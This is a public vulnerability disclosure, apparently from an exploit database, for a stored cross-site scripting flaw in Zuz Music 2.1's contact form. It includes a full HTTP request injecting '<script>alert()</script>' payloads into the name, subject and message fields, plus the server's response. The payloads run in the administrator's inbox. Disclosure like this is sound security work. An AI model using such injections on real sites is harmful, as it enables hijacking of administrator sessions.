Zuz Music 2.1 - 'zuzconsole/___contact ' Persistent Cross-Site Scripting

# Exploit Title: Zuz Music 2.1 - 'zuzconsole/___contact ' Persistent Cross-site Scripting
# Google Dork: N/A
# Date: 14 Feb 2019
# Exploit Author: Deyaa Muhammad
# Author EMail: contact [at] deyaa.me
# Author Blog: http://deyaa.me
# Vendor Homepage: https://zuz.host/
# Software Link: https://codecanyon.net/item/zuz-music-advance-music-platform-system/21633476
# Version: 2.1
# Tested on: WIN7_x68/Linux
# CVE : N/A

# Description:
----------------------
ZuzMusic 2.1 suffers from a persistent Cross-Site Scripting vulnerability.

# POC:
----------------------
1. Go To https://[PATH]/contact
2. There are three vulnerable parameters  name, subject and message.
3. Inject the JavaScript code.
4. The Injected JavaScript code will be executed when the Administrator open the malicious message https://demos.zuz.host/gmusic/admin/inbox.

# Request:
----------------------
POST /gmusic/zuzconsole/___contact HTTP/1.1
Host: server
Connection: close
Content-Length: 155
Accept: application/json, text/plain, */*
Origin: https://demos.zuz.host
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: https://server/gmusic/contact
Accept-Encoding: gzip, deflate
X-XSS-Protection: 0

{"type":"general","name":"<script>alert(0)</script>","mail":"mail@example.com","subject":"<script>alert(1)</script>","message":"<script>alert(2)</script>"}


# Response:
----------------------
HTTP/1.1 200 OK
Date: Fri, 15 Feb 2019 01:30:19 GMT
Server: Apache
Connection: close
Content-Type: application/json
Content-Length: 183

{
    "kind": "zuz#contactMessageSent",
    "etag": "hnwdHsGYwqI6CCSoRSXDMG1BEDTbMMFrOcayLdTYeOs",
    "message": "We have recieved your query and will get back to you in 24 hours."
}